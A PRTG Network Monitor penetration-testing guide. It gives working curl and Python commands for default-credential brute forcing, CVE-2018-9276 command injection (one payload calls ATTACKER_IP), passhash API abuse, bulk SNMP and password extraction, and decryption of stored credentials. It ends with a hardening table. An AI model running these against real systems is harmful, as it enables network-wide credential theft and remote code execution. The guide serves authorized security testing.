PRTG Network Monitor by Paessler is one of the world's most widely deployed network monitoring platforms, with over 500,000 installations ranging from SMBs to Fortune 500 companies. PRTG runs on Windows, stores credentials for every device it polls — SNMP community strings, WMI passwords, SSH keys, database credentials — and has a history of high-severity vulnerabilities including OS command injection via notification scripts (CVE-2018-9276) and directory traversal. For penetration testers, a PRTG instance is a network-wide credential vault in a single Windows server. This guide covers authorized PRTG security testing methodology.
PRTG is a Windows-based application that runs as a local Windows service. The web interface is served by an embedded web server (not IIS). All configuration, sensor data, and credentials are stored in XML-based data files in the PRTG data directory — no external database is required, which simplifies deployment but means all sensitive data is concentrated on one host.
C:\ProgramData\Paessler\PRTG Network Monitor\. Contains all configuration (PRTG Configuration.dat), sensor data, and the credential store — in XML format.| Component | Default Port | Protocol | Attack Vector |
|---|---|---|---|
| PRTG Web UI + API | 80 / 443 | HTTP/HTTPS | Default creds, CVE-2018-9276, API abuse |
| PRTG Probe | 23560 | TCP | Probe communication interception |
| SNMP queries | 161 | UDP | SNMP community string capture |
| SNMP trap receiver | 162 | UDP | Trap injection / source spoofing |
| PRTG Cluster (if configured) | 23570 | TCP | Cluster node credential exposure |
PRTG has a distinctive web interface that appears on port 80 (HTTP) or 443 (HTTPS). The login page and page title are reliable fingerprints. PRTG also exposes version information in the web interface and API before authentication in many versions.
# Scan for PRTG default ports
nmap -sV -p 80,443,8080,8443,23560 TARGET --open
# PRTG login page fingerprint
curl -sk http://TARGET/ | grep -i "prtg\|paessler\|Network Monitor"
# PRTG title is "PRTG Network Monitor" or "PRTG - Paessler Router Traffic Grapher"
curl -sk https://TARGET/ | grep -i ""
# PRTG API version endpoint (often unauthenticated in older versions)
curl -sk "http://TARGET/api/getstatus.htm?id=0" | python3 -m json.tool
curl -sk "http://TARGET/api/table.xml?content=messages&output=json&count=5" 2>/dev/null | head -50
# PRTG status/version via the welcome page
curl -sk "http://TARGET/welcome.htm" | grep -i "version\|build"
# Check for PRTG-specific cookies in the response
curl -sk http://TARGET/ -I | grep -i "OCTOPUS\|prtgsessid\|set-cookie"
# The PRTG login page often embeds version in page source
curl -sk "http://TARGET/" | grep -oP "Version [0-9]+\.[0-9]+\.[0-9]+\.[0-9]+"
# PRTG API: version via status endpoint
curl -sk "http://TARGET/api/getstatus.htm?id=0&username=prtgadmin&password=prtgadmin" | python3 -m json.tool
# Returns: Version, Build, Time, Uptime if credentials are correct
# Check API table endpoint for version leakage (pre-auth in some versions)
curl -sk "http://TARGET/api/table.json?content=messages&output=json&count=1&objid=0" | grep -i "version\|prtg"
PRTG ships with a well-known default administrator account. A surprisingly high percentage of PRTG installations retain these credentials — particularly in environments where PRTG was installed for a network audit and never fully handed over or hardened.
| Username | Password | Role | Notes |
|---|---|---|---|
| prtgadmin | prtgadmin | PRTG System Administrator | Local PRTG account; created on fresh install |
| prtgadmin | (blank) | PRTG System Administrator | Some older versions shipped without a password |
| admin | admin | Varies | Sometimes created during setup wizard |
# Test default credentials via the PRTG API
curl -sk "http://TARGET/api/getstatus.htm?id=0&username=prtgadmin&password=prtgadmin"
# Success: JSON with system status; Failure: {"prtg": {"version": "...", "Error": "...invalid login..."}}
# Via the web UI login endpoint
curl -sk -c cookies.txt -X POST "http://TARGET/api/auth.htm" \
--data "username=prtgadmin&password=prtgadmin"
# Follow redirects and check for authenticated session cookie (OCTOPUS...)
# If authentication succeeds, retrieve the password hash for API use
curl -sk "http://TARGET/api/getstatus.htm?id=0&username=prtgadmin&password=prtgadmin" \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('prtg',{}).get('passhash','not found'))"
# Common additional credentials to try
USERS=("prtgadmin" "admin" "administrator" "prtg")
PASSES=("prtgadmin" "admin" "prtg" "Password1" "password" "Paessler")
for u in "${USERS[@]}"; do
for p in "${PASSES[@]}"; do
resp=$(curl -sk "http://TARGET/api/getstatus.htm?id=0&username=$u&password=$p")
if echo "$resp" | grep -qv "invalid\|error"; then
echo "[+] VALID: $u / $p"
fi
done
done
CVE-2018-9276 (CVSS 9.8 — Critical) is an OS command injection vulnerability in PRTG Network Monitor versions prior to 18.2.39. It affects the notification engine: when a notification is triggered, PRTG executes a script with parameters supplied by the user. Insufficient input sanitization on the parameters allowed an authenticated attacker to inject OS commands that would execute in the context of the PRTG service (typically SYSTEM).
PRTG supports "Execute Program" notifications that run a PowerShell or batch script when an alert fires. The notification allows administrators to specify a parameter string that is passed to the script. CVE-2018-9276 was exploited by injecting a command separator into the parameter field.
# Step 1: Authenticate and get passhash
PASSHASH=$(curl -sk "http://TARGET/api/getstatus.htm?id=0&username=prtgadmin&password=prtgadmin" \
| python3 -c "import sys,json; d=json.load(sys.stdin)['prtg']; print(d.get('passhash',''))")
echo "Passhash: $PASSHASH"
# Step 2: Create a notification that executes OS commands
# The injection goes into the "message" or "subject" parameter of Execute Program notifications
# In PRTG < 18.2.39, the parameter field for script notifications is injectable
# Create a malicious notification via PRTG API
# Note: The exact parameter field depends on PRTG version
curl -sk "http://TARGET/api/duplicateobject.htm?id=NOTIFICATION_TEMPLATE_ID&name=evil_notif&targetid=-1&username=prtgadmin&passhash=$PASSHASH"
# Modify the notification to inject commands
# The payload uses cmd.exe separator: & or ; depending on context
PAYLOAD="test.ps1 | & ping -n 1 ATTACKER_IP"
# Step 3: Trigger the notification to execute the command
# Create an alert condition that immediately fires
curl -sk "http://TARGET/api/setnotification.htm?id=NOTIF_ID&username=prtgadmin&passhash=$PASSHASH" \
--data "message=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# Alternative — direct notification trigger via API
curl -sk "http://TARGET/api/notificationtest.htm?id=NOTIF_ID&username=prtgadmin&passhash=$PASSHASH"
# Metasploit module (for authorized engagements)
# use exploit/windows/http/prtg_authenticated_rce
# set RHOSTS TARGET
# set USERNAME prtgadmin
# set PASSWORD prtgadmin
# run
| PRTG Version | Vulnerable | Status |
|---|---|---|
| < 18.1.37.13946 | Yes | Upgrade required |
| 18.1.37 – 18.2.38 | Yes (CVE-2018-9276) | Upgrade to 18.2.39+ |
| 18.2.39 and later | No (for this CVE) | Patched |
PRTG's REST API uses a non-standard authentication scheme: instead of the plaintext password, API calls can use a passhash value — a hash of the password that the web UI stores in the browser's local storage. If an attacker obtains the passhash (from browser storage, from a logged-in session, or from the PRTG configuration files), they can authenticate to the API without ever knowing the plaintext password.
# passhash is returned on successful login via the API
curl -sk "http://TARGET/api/getstatus.htm?id=0&username=prtgadmin&password=prtgadmin" \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(json.dumps(d, indent=2))"
# The response includes "passhash" — a hash of the password
# Use passhash for all subsequent API calls (no plaintext password needed)
PASSHASH="12345678" # Replace with extracted value
USERNAME="prtgadmin"
# List all device groups
curl -sk "http://TARGET/api/table.json?content=groups&output=json&count=500&username=$USERNAME&passhash=$PASSHASH" | python3 -m json.tool
# List all monitored devices
curl -sk "http://TARGET/api/table.json?content=devices&output=json&count=2000&username=$USERNAME&passhash=$PASSHASH" | python3 -m json.tool
# List all sensors with their status
curl -sk "http://TARGET/api/table.json?content=sensors&output=json&count=2000&username=$USERNAME&passhash=$PASSHASH" | python3 -m json.tool
# Get all PRTG user accounts
curl -sk "http://TARGET/api/table.json?content=users&output=json&count=100&username=$USERNAME&passhash=$PASSHASH" | python3 -m json.tool
# Read raw sensor data
curl -sk "http://TARGET/api/historicdata.json?id=SENSOR_ID&avg=0&sdate=2024-01-01-00-00-00&edate=2024-12-31-23-59-59&username=$USERNAME&passhash=$PASSHASH" | python3 -m json.tool
# Get all notifications (look for stored credentials in notification scripts)
curl -sk "http://TARGET/api/table.json?content=notifications&output=json&count=500&username=$USERNAME&passhash=$PASSHASH" | python3 -m json.tool
# Backup PRTG config via API (requires PRTG System Administrator role)
curl -sk "http://TARGET/api/getobjectproperty.htm?id=0&name=configversion&username=$USERNAME&passhash=$PASSHASH"
# Sensor detail enumeration — check each sensor for stored credentials
curl -sk "http://TARGET/api/table.json?content=sensors&output=json&count=2000&columns=objid,name,device,host,type,group&username=$USERNAME&passhash=$PASSHASH" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for sensor in data.get('sensors', []):
print(f\"ID:{sensor.get('objid')} | {sensor.get('group')} / {sensor.get('device')} / {sensor.get('name')} [{sensor.get('type')}]\")
"
# For each sensor, pull its properties (contains credentials for WMI, SSH, SNMP sensors)
SENSOR_ID=1001 # Replace with actual sensor ID
curl -sk "http://TARGET/api/getobjectproperty.htm?id=$SENSOR_ID&name=comments&username=$USERNAME&passhash=$PASSHASH"
curl -sk "http://TARGET/api/getobjectproperty.htm?id=$SENSOR_ID&name=snmpcommunity&username=$USERNAME&passhash=$PASSHASH"
curl -sk "http://TARGET/api/getobjectproperty.htm?id=$SENSOR_ID&name=linuxpassword&username=$USERNAME&passhash=$PASSHASH"
PRTG stores credentials for monitored devices in its configuration XML files. When an attacker has local access to the PRTG server, these files can be parsed to extract all stored credentials. The credentials are encrypted, but the encryption key is derived from machine-specific material, making decryption straightforward on the PRTG host.
# PRTG data directory (default on Windows)
$prtgData = "C:\ProgramData\Paessler\PRTG Network Monitor"
# List all configuration files
dir "$prtgData" -Recurse -Filter "*.dat"
# Key files:
# PRTG Configuration.dat — main config with all credentials
# PRTG Configuration.old — backup of previous config
# PRTG Configuration.ndr — auto-backup
# Read the main configuration (requires admin/SYSTEM access)
# The file is XML with encrypted credential blobs
type "$prtgData\PRTG Configuration.dat" | findstr /i "password\|community\|credential\|secret"
# PowerShell: extract all credential-related XML nodes
[xml]$config = Get-Content "$prtgData\PRTG Configuration.dat"
$config.SelectNodes("//credential") | Select-Object InnerXml | Format-List
# PRTG uses AES encryption for stored credentials
# The key is derived from a static seed + machine GUID in older versions
# In newer PRTG, credentials are protected with Windows DPAPI
# Check if DPAPI-protected (newer PRTG versions use Windows Credential Manager)
cmdkey /list | findstr /i "prtg\|paessler"
# For older PRTG versions — decrypt using the known AES key derivation
# A public Python script exists for PRTG credential decryption:
python3 -c "
# PRTG older credential decryption (simplified example)
# Reference: prtg-decrypt.py tools available in Kali Linux
import base64
from Crypto.Cipher import AES
# PRTG used a static AES key in older versions (pre-18.x)
PRTG_KEY = bytes.fromhex('2808882082a1e57c06d3fd898b3bed07') # Example, version-dependent
IV = b'\x00' * 16 # Or extracted from data
# Extract encrypted cred blob from PRTG Configuration.dat
encrypted_b64 = 'ENCRYPTED_CRED_BLOB_FROM_DAT_FILE'
ciphertext = base64.b64decode(encrypted_b64)
cipher = AES.new(PRTG_KEY, AES.MODE_CBC, IV)
plaintext = cipher.decrypt(ciphertext)
print('Decrypted:', plaintext.rstrip(b'\x00').decode('utf-8', errors='replace'))
"
# For DPAPI-protected credentials (modern PRTG):
# Must run as the PRTG service account or SYSTEM
$cred = [System.Security.Cryptography.ProtectedData]::Unprotect(
[Convert]::FromBase64String("DPAPI_BLOB_FROM_CONFIG"),
$null,
[System.Security.Cryptography.DataProtectionScope]::LocalMachine)
[System.Text.Encoding]::Unicode.GetString($cred)
Beyond the main configuration, PRTG stores extensive data in its data directory that can reveal infrastructure details, historical passwords, and monitoring credentials.
# PRTG data directory structure
# C:\ProgramData\Paessler\PRTG Network Monitor\
# PRTG Configuration.dat — main config (credentials, sensor settings)
# PRTG Configuration.old — previous config (may have old credentials)
# Logs\ — PRTG web server and probe logs
# Monitoring Database\ — historical sensor data
# Reports\ — generated reports (may contain sensitive data)
# Map Designer\ — network maps
# Check PRTG web server logs for leaked credentials (URL parameters)
# PRTG sometimes logs full API URLs including passwords
$logDir = "C:\ProgramData\Paessler\PRTG Network Monitor\Logs"
Select-String -Path "$logDir\*.log" -Pattern "password=|passhash=" | Select-Object -First 50
# Search for email/SMS notification config (often contains SMTP passwords)
type "C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.dat" | findstr /i "smtp\|smtpuser\|smtppass\|mailserver"
# Python: parse PRTG config for all device credentials
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse(r'C:\\ProgramData\\Paessler\\PRTG Network Monitor\\PRTG Configuration.dat')
root = tree.getroot()
# Find all WMI/SNMP/SSH credential references
for node in root.iter():
if any(k in node.tag.lower() for k in ['password', 'community', 'credential', 'secret', 'key']):
print(f'{node.tag}: {node.text}')
"
PRTG stores SNMP community strings for every SNMP-monitored device. These are often used network-wide for device configuration access (read-write) and represent a significant secondary attack path once PRTG is compromised.
# Via PRTG API — enumerate SNMP sensor community strings
curl -sk "http://TARGET/api/table.json?content=sensors&output=json&count=2000&columns=objid,name,device,type&username=$USERNAME&passhash=$PASSHASH" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
snmp_sensors = [s for s in data.get('sensors', []) if 'snmp' in s.get('type', '').lower()]
print(f'Found {len(snmp_sensors)} SNMP sensors')
for s in snmp_sensors[:20]:
print(f\" [{s.get('objid')}] {s.get('device')} — {s.get('name')}\")
"
# Pull community string for specific sensor
for SENSOR_ID in $(curl -sk "http://TARGET/api/table.json?content=sensors&output=json&count=2000&columns=objid,type&username=$USERNAME&passhash=$PASSHASH" | python3 -c "import sys,json; [print(s['objid']) for s in json.load(sys.stdin)['sensors'] if 'snmp' in s.get('type','').lower()]"); do
COMMUNITY=$(curl -sk "http://TARGET/api/getobjectproperty.htm?id=$SENSOR_ID&name=snmpcommunity&output=json&username=$USERNAME&passhash=$PASSHASH" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('prtg',{}).get('result',''))")
[ -n "$COMMUNITY" ] && echo "Sensor $SENSOR_ID — Community: $COMMUNITY"
done
A compromised PRTG instance — whether through default credentials, CVE-2018-9276, or API abuse — provides extensive access to monitored infrastructure.
# With admin credentials, inject a reverse shell via notification scripts
# (Requires creating/modifying a notification with Execute Program type)
# Step 1: Create or modify an Execute Program notification
# Via UI: Setup > Notifications > Add Notification > Execute Program
# Script: Demo EXE Notification - OutFile.ps1 (built-in)
# Parameter field: inject OS command here
# Step 2: Trigger the notification via API
curl -sk "http://TARGET/api/notificationtest.htm?id=NOTIF_ID&username=prtgadmin&passhash=$PASSHASH"
# Step 3: For a cleaner approach, use PRTG's "Execute Program" sensor type
# Create a sensor that runs a PowerShell command on the PRTG server itself
# This is a legitimate feature being abused for post-exploitation
| Control | Priority | Action |
|---|---|---|
| Change prtgadmin password | Critical | Immediately after install; enforce complexity requirements |
| Upgrade to PRTG 18.2.39+ | Critical | Patches CVE-2018-9276; stay current with PRTG updates |
| Enable HTTPS only | High | Disable HTTP (port 80); use a valid TLS certificate |
| Restrict network access to PRTG web UI | High | Firewall port 80/443 to management networks only; PRTG should never be internet-facing |
| Enable Two-Factor Authentication | High | PRTG supports TOTP/authenticator app since version 20.x |
| Use least-privilege monitoring accounts | High | Create read-only service accounts per device type; avoid domain admin for WMI polling |
| Protect the PRTG data directory | High | Restrict filesystem ACLs on C:\ProgramData\Paessler\ to SYSTEM and PRTG admin only |
| Rotate SNMP community strings | Medium | Use SNMPv3 with authentication and encryption; rotate v1/v2c strings on schedule |
| Monitor PRTG admin activity | Medium | Enable PRTG audit logging; ship logs to SIEM; alert on notification creation and API token generation |
| Disable unused features | Medium | Disable notification script execution if not required; restrict which script types are allowed |
Ironimo's Kali Linux-powered scanning engine detects exposed PRTG instances, tests default credentials, checks for CVE-2018-9276 indicators, and maps credential exposure risk across your monitoring infrastructure — in a single automated scan.
Start free scan